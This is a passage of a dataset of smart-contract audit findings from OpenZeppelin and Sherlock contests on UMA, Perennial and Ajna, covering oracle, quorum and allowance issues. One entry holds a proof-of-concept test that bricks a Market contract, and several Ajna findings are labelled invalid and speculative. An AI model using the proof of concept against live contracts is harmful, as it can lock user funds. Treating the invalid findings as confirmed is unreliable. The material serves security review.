shutdown\n\n\n","dataSource":{"name":"code-423n4/2023-09-reserve-mitigation-findings","repo":"https://github.com/code-423n4/2023-09-reserve-mitigation-findings","url":"https://github.com/code-423n4/2023-09-reserve-mitigation-findings/issues/5"}} {"title":"Lack of validation in EmergencyProposer `setQuorum` and `setMinimumWaitTime`","severity":"medium","body":"The [EmergencyProposer contract](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L24) is intended to function as an emergency recovery mechanism by allowing any user to construct a transaction that can bypass the `VotingV2` contract. To submit a proposal, a user needs to post a large bond which is defined by the [quorum](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L27) state variable. The user then needs to wait until the [minimumWaitTime](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L28) has passed. However, there is a lack of validation when setting `quorum` and `minimumWaitTime`, which are crucial for correct functioning of the contract.\n\nThe [setQuorum function](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L203) does not validate the size of the bond relative to the supply of the token used for the `quorum` value. In the case that the `quorum` is mistakenly set to be larger than the total token supply, no emergency proposal could be created.\n\nThe [setMinimumWaitTime function](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L226) does not validate that the `newMinimumWaitTime` is within a reasonable time frame. In the case that `minimumWaitTime` is mistakenly set to be a large interval consisting of multiple months or even years, no emergency proposal would pass until the time frame could expire.\n\nIf either of these two variables are set incorrectly, the `EmergencyProposer` contract would be rendered useless, and would need to be fixed via the voting process defined in the `VotingV2` contract. This is counter to the goal of the `EmergencyProposer` contract, which is supposed to be able to bypass the `VotingV2` contract in case it was to break.\n\nConsider adding validations on `setMinimumWaitTime` and `setQuorum`. The `newMinimumWaitTime` time should be capped to a reasonable time frame, aligned with the desired time requirements for passing emergency proposals. For `setQuorum` we suggest that at a minimum a check should be added to ensure the `newQuorum` value is not larger than the token supply. Also consider further limiting the quorum amount to not exceed a certain fraction of the total token supply beyond which it would be unrealistic for a user or group of users to control.\n\n**Update:** _Fixed as of commit [9000d0aa644f3340deeb4eaa704d7432a7e55dc9](https://github.com/UMAprotocol/protocol/pull/4153/commits/9000d0aa644f3340deeb4eaa704d7432a7e55dc9) in [PR #4153](https://github.com/UMAprotocol/protocol/pull/4153). `newQuorum` is now checked to ensure it is smaller than the total supply of tokens, and `newMinimumWaitTime` is checked to ensure it is not longer than 4 weeks._","dataSource":{"name":"OpenZeppelin/uma-dvm-2-0-incremental-audit","url":"https://blog.openzeppelin.com/uma-dvm-2-0-incremental-audit/","repo":"https://blog.openzeppelin.com/uma-dvm-2-0-incremental-audit/"}} {"title":"Governor contract can create emergency proposals","severity":"minor","body":"The [EmergencyProposal contract](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L24) is used to construct an emergency recovery transaction that bypasses the standard voting process. The intention is to provide an alternate execution path that can be utilized to fix an incorrectly configured `VotingV2` contract.\n\nAny user can propose an emergency transaction via the [emergencyPropose](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L110) function, but the size of the required bond is expected to be large enough that it is unlikely that an individual or the UMA team would be able to sufficiently fund the bond amount on their own. Proposals are executed using the [emergencyExecute](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/GovernorV2.sol#L160) function in the `GovernorV2` contract. The [executor](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L41) address has the sole ability to call this function, giving it veto power over any proposal. The UMA team controls the `executor` address.\n\nThere is currently no restriction that would prevent using the standard voting process to create a transaction that results in the `GovernorV2` contract calling the `emergencyPropose` function to create a proposal. While this is highly unlikely as this transaction would need to pass a standard voting process, this could potentially introduce undesired effects and deviate from the expected functioning of the contract.\n\nAn example of an unexpected interaction is that a `GovernorV2` emergency proposal can not be slashed by using the [slashProposal](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L156) function, as the slash mechanism [transfers the slashed amount to the GovernorV2 address](https://github.com/UMAprotocol/protocol/blob/5682c65a9226f63610a6eb391c34d06799eb587d/packages/core/contracts/oracle/implementation/EmergencyProposer.sol#L159).\n\nTo avoid unexpected or undesirable behavior, consider preventing the `GovernorV2` contract from being able to execute the `emergencyPropose` function.\n\n**Update:** _Fixed as of commit [41a03995087d2e63d047075582ef49783074ba48](https://github.com/UMAprotocol/protocol/pull/4151/commits/41a03995087d2e63d047075582ef49783074ba48) in [PR #4151](https://github.com/UMAprotocol/protocol/pull/4151)._","dataSource":{"name":"OpenZeppelin/uma-dvm-2-0-incremental-audit","url":"https://blog.openzeppelin.com/uma-dvm-2-0-incremental-audit/","repo":"https://blog.openzeppelin.com/uma-dvm-2-0-incremental-audit/"}} {"title":"Incorrect `public` visibility","severity":"minor","body":"In the `VotingV2` contract, the function `_getPriceFromPreviousVotingContract` allows the current voting contract to [query and retrieve](https://github.com/UMAprotocol/protocol/blob/6f3692e24c2e9d8681ca1f4a0cb1eac2c2022c06/packages/core/contracts/oracle/implementation/VotingV2.sol#L1165-L1166) prices from a previous voting contract. However, the function [is defined](https://github.com/UMAprotocol/protocol/blob/6f3692e24c2e9d8681ca1f4a0cb1eac2c2022c06/packages/core/contracts/oracle/implementation/VotingV2.sol#L1158-L1162) with `public` visibility. As a result, this function can be directly called and could be used to bypass the [\\_requireRegisteredContract check](https://github.com/UMAprotocol/protocol/blob/6f3692e24c2e9d8681ca1f4a0cb1eac2c2022c06/packages/core/contracts/oracle/implementation/VotingV2.sol#L1281-L1284) used by the `onlyRegisteredContract` modifier on `hasPrice` and `getPrice`. This would unintentionally allow users to access price details from a previous voting contract.\n\nConsider changing the visibility of `_getPriceFromPreviousVotingContract` from `public` to `private`.\n\n**Update:** _Fixed as of commit [4f1c1d741d67959ab69acdf8ff70f7eb4d65f429](https://github.com/UMAprotocol/protocol/pull/4154/commits/4f1c1d741d67959ab69acdf8ff70f7eb4d65f429) in [PR #4154](https://github.com/UMAprotocol/protocol/pull/4154)._","dataSource":{"name":"OpenZeppelin/uma-dvm-2-0-incremental-audit","url":"https://blog.openzeppelin.com/uma-dvm-2-0-incremental-audit/","repo":"https://blog.openzeppelin.com/uma-dvm-2-0-incremental-audit/"}} @@ -31139,6 +31459,572 @@ {"title":"During oracle provider switch, if previous provider feed stops working completely, oracle and market will be stuck with user funds locked in the contract","severity":"medium","body":"Keen Plastic Oyster\n\nmedium\n\n# During oracle provider switch, if previous provider feed stops working completely, oracle and market will be stuck with user funds locked in the contract\n## Summary\n\nThe [issue 46 of the main contest](https://github.com/sherlock-audit/2023-07-perennial-judging/issues/46) after the fix still stands with a more severe condition as described by WatchPug in fix review:\n> If we assume it's possible for the previous Python feed to experience a more severe issue: instead of not having an eligible price for the requested oracleVersion, the feed completely stopped working after the requested time, making it impossible to find ANY valid price at a later time than the last requested time, this issue would still exist.\n\nSponsor response still implies that the previous provider feed **is available**, as they say non-requested version could be posted, but if this feed is no longer available, it will be impossible to commit unrequested, because there will be no pyth price and signature to commit.\n\n> if the previous oracle’s underlying off-chain feed goes down permanently, once the grace period has passed, a non-requested version could be posted to the previous oracle, moving its latest() forward to that point, allowing the switchover to complete.\n\n## Vulnerability Detail\n\nWhen the oracle provider is updated (switched to a new provider), the latest status (price) returned by the oracle will come from the previous provider until the last request is commited for it, only then the price feed from the new provider will be used. However, it can happen that pyth price feed stops working completely before (or just after) the oracle is updated to a new provider. This means that valid price with signature for **any timestamp after the last request** is not available. In this case, the oracle price will be stuck, because it will ignore new provider, but the previous provider can never finalize (commit a fresh price). As such, the oracle price will get stuck and will never update, breaking the whole protocol with user funds stuck in the protocol.\n\n## Impact\n\nSwitching oracle provider can make the oracle stuck and stop updating new prices. This will mean the market will become stale and will revert on all requests from user, disallowing to withdraw funds, bricking the contract entirely.\n\n## Code Snippet\n\n`Oracle._latestStale` will always return false due to this line (since `latest().timestamp` can never advance without a price feed):\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L128\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider ignoring line 128 in `Oracle._latestStale` if a certain timeout has passed after the switch (`block.timestamp - oracles[global.latest].timestamp > SWITCH_TIMEOUT`). This will allow the switch to proceed after some timeout even if previous provider remains uncommited.","dataSource":{"name":"sherlock-audit/2023-09-perennial-judging","repo":"https://github.com/sherlock-audit/2023-09-perennial-judging","url":"https://github.com/sherlock-audit/2023-09-perennial-judging/blob/main//010-M/010-best.md"}} {"title":"Oracle `status()` and `latest()` can return invalid version while updating to a new oracle provider","severity":"medium","body":"Keen Plastic Oyster\n\nmedium\n\n# Oracle `status()` and `latest()` can return invalid version while updating to a new oracle provider\n## Summary\n\nThe fix to [issue 46 of the main contest](https://github.com/sherlock-audit/2023-07-perennial-judging/issues/46) created a new issue described below.\nWhen updating to a new oracle provider, the previous provider has to be commited at or after the last requested version to finalize the switch. However, if it's commited unrequested at the timestamp **after** the last requested version, and new provider doesn't have a fresh commit yet, then `oracle.status()` and `oracle.latest()` will return **invalid** version as the latest (`oracle.latest().price = 0`). This breaks important invariant that the oracle latest version must be **valid** (by definition - `latest()` is the last **valid** oracle version).\n\n## Vulnerability Detail\n\nScenario to make `oracle.latest()` return invalid version:\n- `provider1.latest.timestamp = 100`\n- `provider2.latest.timestamp = 100`\n\nT=150: `Market.update` is called which calls `oracle.request()`, creating a request for timestamp = 200\nT=160: `Oracle.update(provider2)` is called by admin: since last request is not yet commited, `latest()` is still returned from `provider1`.\nT=320: `provider1.commit()` with timestamp = 220 is called, commiting an oracle version = 220 (oracle version = 200 is invalid)\n\nAt this time, `oracle.latest()` will return invalid oracle version due to these lines in `oracle._handleLatest`:\n```solidity\nif (!isLatestStale && latestVersion.timestamp > latestOracleTimestamp)\n return at(latestOracleTimestamp);\n```\n\n`isLatestStale` is false (because `provider2.latest().timestamp < 200`)\n`latestVersion.timestamp = 220` (last commit for `provider1`)\n`latestOracleTimestamp = 200` (last request for `provider1`)\nSo this means `_handleLatest()` (and `latest()`) will return `oracle.at(200)` which is invalid.\n\n## Impact\n\n`oracle.status()` and `oracle.latest()` return invalid oracle version (`price = 0`). This breaks an important invariant that the latest oracle must be the last **valid** oracle version. `Market` handles invalid `oracle.at()` calls correctly (replacing price with `global.latestPrice` if oracleVersion returned is invalid), however it doesn't have any checks for validity of `oracle.status()` assuming it to be always valid. This can cause all kinds of unexpected behavior, such as being able to withdraw (steal) or unfairly liquidate based on `latestVersion.price = 0`.\n\n## Code Snippet\n\n`Oracle._handleLatest` doesn't check if oracle version returned by `at()` is valid or not:\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L117-L118\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThis one is rather tricky to fix. The best fix should check if `at()` returned in `_handleLatest` is valid, and if not - return the previous valid version. However, there is no such function (to return the latest valid version prior to a given timestamp). A simple but not fully correct solution is to store (cache) current latest version at `update` time, and then update this cached version if `provider1.latest.timestamp` less than last request timestamp and not update if it's greater than last request timestamp. Then return this cached version if `at()` returns invalid version. But it will return pre-latest version if commit unrequested is made twice (one - before request timestamp, and one - after). However since that's a very rare situation and even if it happens - that'll just be a version incorrect by a few seconds, so probably acceptable.","dataSource":{"name":"sherlock-audit/2023-09-perennial-judging","repo":"https://github.com/sherlock-audit/2023-09-perennial-judging","url":"https://github.com/sherlock-audit/2023-09-perennial-judging/blob/main//009-M/009-best.md"}} {"title":"Two invalid oracle updates in a row can permanently brick Market contract","severity":"major","body":"Keen Plastic Oyster\n\nmedium\n\n# Two invalid oracle updates in a row can permanently brick Market contract\n## Summary\n\nThe fix to [issue 49 of the main contest](https://github.com/sherlock-audit/2023-07-perennial-judging/issues/49) created a new issue described below.\nIf oracle version is skipped, `_processPositionGlobal` invalidates the latest position by increasing invalidation accumulator, effectively applying inverse delta to all remaining pending positions. However, when calculating invalidation values, the **non-adjusted** `newPosition` values are used:\n```solidity\nif (!oracleVersion.valid) context.latestPosition.global.invalidate(newPosition);\nnewPosition.adjust(context.latestPosition.global);\n```\n\nNotice that first the the values of **non-adjusted** `newPosition` are used to increment invalidation accumulator, and only then the new invalidation accumulator is applied to `newPosition`. Example when this is wrong:\n- `latestPosition.long = 0`\n- `latestPostion.invalidation.long = -10`\n- `newPosition.long = 10`\n\nIn this example, `newPosition.long = 10`, but when adjusted, it should be `newPosition.long = 10 - 10 = 0`. In this case invalidation shouldn't change, because the real (adjusted) `newPosition.long = 0`, but as it's not adjusted and absolute value is used:\n- `invalidate(newPosition)` will set `latestPosition.invalidation.long = -10 + (0 - 10) = -20`\n- `newPosition.adjust()` will underflow, because `long` is `UFixed6` (unsigned), and it will try to set `newPosition.long = 10 - 20 = -10`\n\nSuch situation can happen if there are 2 consecutive invalid oracle versions.\n\n## Vulnerability Detail\n\nScenario for bricking the entire `Market` contract due to the bug above:\nT=1: Global `long = 0`\nT=1: Alice requests to open `long = 10` (`long = 10` is added to pending positions at `t=100`)\nT=101: Alice settles position (`long = 10` is added to pending positions at `t=200`)\n...(no oracle commits)\nT=201: Alice settles position (`long = 10` is added to pending positions at `t=300`)\n...(still no oracle commits)\nT=320: Oracle version = 300 is commited (making oracle versions 100 and 200 invalid)\n\nFrom this point on - any call to `Market.update` by any user will revert due to underflow as described above in `Market._settle`, bricking the `Market` contract with all user funds locked in it.\n\nWhy it will revert? After T=320, global pending positions will be:\n- t=100(invalid): long=10\n- t=200(invalid): long=10\n- t=300(valid): long=10\n\nAs described above, when processing these positions, in `_processPositionGlobal`:\n1. t=100 (invalid) position: `latestPosition.long = 0`, `latestPosition.invalidation.long = -10`\n2. t=200 (invalid) position: `latestPosition.long = 0`, `latestPosition.invalidation.long = -20`. It reverts when trying to adjust `newPosition` (as it has `long = 10` and `invalidation.long = -20`).\n\n## Impact\n\nIf 2 or more invalid oracle versions in a row happen, pending positions at the 2nd invalidation or later will have incorrect values, which can make `Market` contract brick permanently, locking up all user funds in the contract without any ability to retrieve them.\n\n## Proof of concept\n\nThe scenario above is demonstrated in the test, add this to test/unit/market/Market.test.ts:\n```solidity\nit('two invalid oracles', async () => {\n const positionMaker = parse6decimal('2.000')\n const positionLong = parse6decimal('0.000')\n const positionLong2 = parse6decimal('1.000')\n const collateral = parse6decimal('1000')\n\n const oracleVersion = {\n price: parse6decimal('100'),\n timestamp: TIMESTAMP,\n valid: true,\n }\n oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\n oracle.status.returns([oracleVersion, oracleVersion.timestamp + 100])\n oracle.request.returns()\n\n dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\n await market.connect(userB).update(userB.address, positionMaker, 0, 0, collateral, false)\n\n dsu.transferFrom.whenCalledWith(user.address, market.address, collateral.mul(1e12)).returns(true)\n await market.connect(user).update(user.address, 0, positionLong, 0, collateral, false)\n\n const oracleVersion2 = {\n price: parse6decimal('100'),\n timestamp: TIMESTAMP + 100,\n valid: true,\n }\n oracle.at.whenCalledWith(oracleVersion2.timestamp).returns(oracleVersion2)\n oracle.status.returns([oracleVersion2, oracleVersion2.timestamp + 100])\n oracle.request.returns()\n\n // pending position for version3, t=200 (invalid)\n await market.connect(user).update(user.address, 0, positionLong2, 0, 0, false)\n\n // version3 - invalid, current t=400 (which will also be invalid)\n oracle.status.returns([oracleVersion2, oracleVersion2.timestamp + 200])\n await market.connect(user).update(user.address, 0, positionLong2, 0, 0, false)\n\n // invalid oracle version\n const oracleVersion3 = {\n price: 0,\n timestamp: TIMESTAMP + 200,\n valid: false,\n }\n oracle.at.whenCalledWith(oracleVersion3.timestamp).returns(oracleVersion3)\n const oracleVersion4 = {\n price: 0,\n timestamp: TIMESTAMP + 300,\n valid: false,\n }\n oracle.at.whenCalledWith(oracleVersion4.timestamp).returns(oracleVersion4)\n\n // next oracle version is valid\n const oracleVersion5 = {\n price: parse6decimal('100'),\n timestamp: TIMESTAMP + 400,\n valid: true,\n }\n oracle.at.whenCalledWith(oracleVersion5.timestamp).returns(oracleVersion5)\n\n // still returns oracleVersion2, because nothing commited for version 4, and version 5 time has passed but not yet commited\n oracle.status.returns([oracleVersion2, oracleVersion5.timestamp + 100])\n oracle.request.returns()\n\n // this one will be valid (version5)\n await market.connect(user).update(user.address, 0, positionLong2, 0, 0, false)\n //await market.connect(user).update(user.address, 0, positionLong2, 0, 0, false)\n\n // oracleVersion5 commited\n oracle.status.returns([oracleVersion5, oracleVersion5.timestamp + 100])\n oracle.request.returns()\n\n // bricked here (always reverts for any user as it can't _settle global)\n await expect( \n market.connect(userB).update(userB.address, positionMaker, 0, 0, 0, false)\n ).to.be.reverted;\n\n console.log(\"Market contract is now bricked, reverting any update\");\n})\n```\n\n## Code Snippet\n\n`_processPositionGlobal` invalidates position without first adjusting it:\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L401-L402\n\n`_processPositionLocal` does the same:\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L447-L448\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen invalidating, `newPosition` should first be adjusted. To avoid adjusting it twice, the easiest fix is probably to change `invalidation` library function `increment`, subtracting adjusted `newPosition` values instead of direct values:\n```solidity\n function increment(Invalidation memory self, Position memory latestPosition, Position memory newPosition) internal pure {\n self.maker = self.maker.add(Fixed6Lib.from(latestPosition.maker).sub(Fixed6Lib.from(newPosition.maker).add(self.maker.sub(newPosition.invalidation.maker))));\n self.long = self.long.add(Fixed6Lib.from(latestPosition.long).sub(Fixed6Lib.from(newPosition.long).add(self.long.sub(newPosition.invalidation.long))));\n self.short = self.short.add(Fixed6Lib.from(latestPosition.short).sub(Fixed6Lib.from(newPosition.short).add(self.short.sub(newPosition.invalidation.short))));\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-perennial-judging","repo":"https://github.com/sherlock-audit/2023-09-perennial-judging","url":"https://github.com/sherlock-audit/2023-09-perennial-judging/blob/main//008-H/008-best.md"}} +{"title":"Wrong revert condition in transferLP","severity":"info","body":"Rich Fuchsia Swan\n\nhigh\n\n# Wrong revert condition in transferLP\n## Summary\nApproved new LP owner failed to transfer the LPs to his address. \n\n## Vulnerability Detail\nIf newOwnerAddress_ == msg.sender, then the latter condition failed and revert the transfer.\n\n## Impact\n\n## Code Snippet\n[LPActions.sol#L217-L218](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LPActions.sol#L217-L218)\n```solidity\ntransferLP():\n217: // revert if msg.sender is not the new owner and is not approved as a transferor by the new owner\n218: if (newOwnerAddress_ != msg.sender && !approvedTransferors_[newOwnerAddress_][msg.sender]) revert TransferorNotApproved();\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nModify the revert condition in L218 to:\n```solidity\nif (newOwnerAddress_ != msg.sender || !approvedTransferors_[ownerAddress_][newOwnerAddress_]) revert TransferorNotApproved();\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/074.md"}} +{"title":"PoolInfoUtils::`poolReservesInfo()`: L279 - Time Manipulation Risk - Potential `block.timestamp` exploitation to artificially reduce `timeRemaining_` of auction, resulting in an unexpected & invalid shortening of the auction duration.","severity":"info","body":"Ancient Aqua Haddock\n\nmedium\n\n# PoolInfoUtils::`poolReservesInfo()`: L279 - Time Manipulation Risk - Potential `block.timestamp` exploitation to artificially reduce `timeRemaining_` of auction, resulting in an unexpected & invalid shortening of the auction duration.\n## Summary\n\nPoolInfoUtils::poolReservesInfo(): L279 - Time Manipulation Risk - Potential block.timestamp exploitation to artificially reduce timeRemaining_ of auction, resulting in an unexpected & invalid shortening of the auction duration.\n\nManipulating the value of `block.timestamp` by delaying the inclusion of transaction into a block, will inevitably result in an unexpected & arguable invalid shortening of the auction's remaining time, violating at least one protocol invariant\n\n## Vulnerability Detail\n\nPoC:\n\nL279 from below function:\n```solidity\ntimeRemaining_ = 3 days - Maths.min(3 days, block.timestamp - auctionKickTime);\n```\nLets say the non-manipulated timestamp value results in `block.timestamp - auctionKickTime == 2 days`, leaving 1 day left for the auction, but due to manipulation by rogue miners/validators the manipulated timestamp produces `block.timestamp - auctionKickTime == 3 days`, which leaves 0 days left for the auction.\n\n## Impact\n\nThis discrepancy between the non-manipulated and manipulated timestamps can lead to a host of unexpected issues that may adversely affect various participants within the DeFi ecosystem, including lenders, borrowers, and their earnings, as well as trust in the protocol.\n\n## Code Snippet\n\n`poolReservesInfo()`:\n```solidity\n /**\n * @notice Returns info related to `Claimaible Reserve Auction`.\n * @param ajnaPool_ Address of `Ajna` pool.\n * @return reserves_ The amount of excess quote tokens.\n * @return claimableReserves_ Denominated in quote token, or `0` if no reserves can be auctioned.\n * @return claimableReservesRemaining_ Amount of claimable reserves which has not yet been taken.\n * @return auctionPrice_ Current price at which `1` quote token may be purchased, denominated in `Ajna`.\n * @return timeRemaining_ Seconds remaining before takes are no longer allowed.\n */\n function poolReservesInfo(address ajnaPool_)\n external\n view\n returns (\n uint256 reserves_,\n uint256 claimableReserves_,\n uint256 claimableReservesRemaining_,\n uint256 auctionPrice_,\n uint256 timeRemaining_\n )\n {\n IPool pool = IPool(ajnaPool_);\n\n (,uint256 poolDebt,,) = pool.debtInfo();\n uint256 poolSize = pool.depositSize();\n\n uint256 quoteTokenBalance = IERC20Token(pool.quoteTokenAddress()).balanceOf(ajnaPool_) * pool.quoteTokenScale();\n\n (uint256 bondEscrowed, uint256 unclaimedReserve, uint256 auctionKickTime, ) = pool.reservesInfo();\n\n // due to rounding issues, especially in Auction.settle, this can be slighly negative\n if (poolDebt + quoteTokenBalance >= poolSize + bondEscrowed + unclaimedReserve) {\n reserves_ = poolDebt + quoteTokenBalance - poolSize - bondEscrowed - unclaimedReserve;\n }\n\n claimableReserves_ = _claimableReserves(\n poolDebt,\n poolSize,\n bondEscrowed,\n unclaimedReserve,\n quoteTokenBalance\n );\n\n claimableReservesRemaining_ = unclaimedReserve;\n auctionPrice_ = _reserveAuctionPrice(auctionKickTime);\n timeRemaining_ = 3 days - Maths.min(3 days, block.timestamp - auctionKickTime);\n }\n```\n\n## Tool used\nVSC.\nManual Review.\n\n## Recommendation\n\nImplement checks, not exactly sure what type of checks, need to think about it.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/073.md"}} +{"title":"Remove custom function allowance","severity":"info","body":"Kind Green Sealion\n\nmedium\n\n# Remove custom function allowance\n## Summary\nThe increaseAllowance and decreaseAllowance functions can add more bugs.\n\n## Vulnerability Detail\nRecently, the increaseAllowance function has been removed from the OpenZeppelin ERC20 contract due to its exploitation in phishing attacks and to prevent the possibility of further phishing attacks. \n\nSee https://github.com/OpenZeppelin/openzeppelin-contracts/issues/4583. We should remove the functions increaseLPAllowance and decreaseLPAllowance as they only solve an imaginary problem.\n\nThese functions are not part of the EIP-20 specs.\n\n## Impact\nUsing these functions will result in unexpected behaviour which will cause contracts to become corrupted.\n\nThese functions may allow for further phishing possibilities. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LPActions.sol?plain=1#L55-L117\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol?plain=1#L454-L479\n\n## Tool used\n\nManual Review\n\n## Recommendation\nconsidering removing increaseLPAllowance/decreaseLPAllowance function from LPActions contract.\n\nOr implement a function similar to this [SafeERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/60e3ffe6a3cc38ab94cae995bc1de081eed79335/contracts/token/ERC20/utils/SafeERC20.sol#L48-L69) library which is still available.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/072.md"}} +{"title":"PoolInfoUtils::`poolLoansInfo()`: Time Manipulation Risk - Potential `block.timestamp` Exploitation to Inflate `pendingInterestFactor_` and Impact Inflator Scaling.","severity":"info","body":"Ancient Aqua Haddock\n\nmedium\n\n# PoolInfoUtils::`poolLoansInfo()`: Time Manipulation Risk - Potential `block.timestamp` Exploitation to Inflate `pendingInterestFactor_` and Impact Inflator Scaling.\n## Summary\n\nThis manipulation can intentionally delay the inclusion of specific transactions in blocks, allowing attackers to exploit the inflator scaling mechanism.\n\n`pendingInterestFactor_` is a pivotal value used in the Ajna protocol to scale the inflator. In normal circumstances, it's expected that `pendingInterestFactor_` remains within the defined bounds. However, manipulation of `block.timestamp` can lead to an unexpected increase in `pendingInterestFactor_` above the intended levels.\n\nIn a scenario where `pendingFactor` within BaseHandler::`_fenwickAccrueInterest()` would typically be `1e18`, triggering a `return` under normal conditions, the risk arises from potential manipulation of `block.timestamp`. Malicious miners or validators could intentionally delay transaction inclusion in a block. As `pendingFactor` can reach `1e18` due to either zero `interestRate_` or zero `elapsed_` time in PoolCommons::`pendingInterestFactor()` calculation, manipulation of `block.timestamp` could unexpectedly raise `pendingFactor` to values exceeding `1e18`. This departure from protocol design results in `_fenwickAccrueInterest()` not returning as expected, leading to interest accrual during execution and the execution of `_fenwickMult()`, impacting `fenwickDeposits` using an altered `scale_` factor.\n\n## Vulnerability Detail\n\nIn PoolInfoUtils.sol, specifically in the function `poolLoansInfo()` at L175, a notable risk arises from the utilization of `block.timestamp`. This timestamp, being susceptible to manipulation by miners and validators, can be intentionally exploited to delay the inclusion of a transaction, consequently maximizing the `pendingInterestFactor_`. The `pendingInterestFactor_` value plays a crucial role as it is used to scale the inflator.\n\nThe risk scenario unfolds in a situation where if the `pendingFactor` within the BaseHandler::`_fenwickAccrueInterest()` function would have typically been `1e18` under certain valid conditions, where it would ordinarily trigger the function to `return`, aligning with the protocol's intended behavior, if the `block.timestamp` were to be intentionally manipulated/delayed by unscrupulous miners or validators, and therefore delaying the inclusion of a transaction in a block, they manipulate the value of `pendingFactor`. Consequently, it can exceed the expected `1e18` threshold, leading to unexpected behavior that deviates from the protocol's design and intentions.\n\n## Impact\n\nPOTENTIAL IMPACTS:\n\nThis anomaly results in two critical deviations from the expected protocol behavior:\n\n- Interest Accrual: Due to the tampering with `pendingFactor` value, the `_fenwickAccrueInterest()` function executes even when it should not. This results in an unintended accrual of interest during the execution process.\n\n- Altered Scaling: The tampering with `pendingFactor` can also impact the execution of the `_fenwickMult()` method. The `_fenwickMult()` function is responsible for updating values in the `fenwickDeposits` array, and the manipulation leads to the application of an altered `scale_` factor, which can affect these updates.\n\nIn the context of the Ajna protocol, the link between inflator scaling and inflation can significantly impact the protocol's operation and the behavior of participants, particularly in lending and borrowing activities. Let's summarize how this link could affect the Ajna protocol:\n\nInflation Control: The Ajna protocol employs an inflationary mechanism, where tokens or rewards are created to incentivize users and maintain protocol stability. This inflation rate is determined by the inflator, a key component in the protocol.\n\nInflator Scaling: Inflator scaling within the Ajna protocol involves adjusting the rate of inflation. This scaling is a critical control mechanism that can influence the supply of protocol assets, which, in turn, impacts interest rates and user incentives.\n\nThis discrepancy from the protocol's design and intentions can lead to several significant implications for the Ajna protocol:\n\n- Interest Rate Anomalies: Interest rates for borrowers and lenders may be impacted, potentially causing borrowers to pay higher interest or lenders to earn lower interest than anticipated.\n\n- Asset Devaluation: An increase in `pendingInterestFactor_` can influence the supply of protocol assets. Excessive inflation may devalue existing assets, impacting the purchasing power of users.\n\n- Protocol Stability: Unintended inflation can challenge the stability of the Ajna protocol, affecting its overall functionality and trustworthiness.\n\nIn summary, the link between inflator scaling and inflation in the Ajna protocol is crucial for maintaining protocol stability and ensuring that incentives and interest rates align with the intended design. The identified risk scenario highlights the importance of safeguarding against potential manipulation of time-related variables to maintain the protocol's integrity and functionality.\n\n## Code Snippet\n\n```solidity\npendingInterestFactor_ = PoolCommons.pendingInterestFactor(interestRate, block.timestamp - inflatorUpdate);\n```\n\n```solidity\nfunction pendingInterestFactor(\n uint256 interestRate_,\n uint256 elapsed_\n) external pure returns (uint256) {\n return PRBMathUD60x18.exp((interestRate_ * elapsed_) / 365 days);\n}\n```\n\n```solidity\n function _fenwickAccrueInterest() internal {\n ( , , , , uint256 pendingFactor) = _poolInfo.poolLoansInfo(address(_pool));\n\n // poolLoansInfo returns 1e18 if no interest is pending or time elapsed... the contracts calculate 0 time elapsed which causes discrep\n if (pendingFactor == 1e18) return;\n ///...\n ///...function logic\n ///...function logic\n ///...\n uint256 newInterest = Maths.wmul(\n lenderInterestMargin,\n Maths.wmul(pendingFactor - Maths.WAD, poolDebt)\n );\n\n // Cap lender factor at 10x the interest factor for borrowers\n uint256 scale = Maths.min(\n (newInterest * 1e18) / interestEarningDeposit,\n 10 * (pendingFactor - Maths.WAD)\n ) + 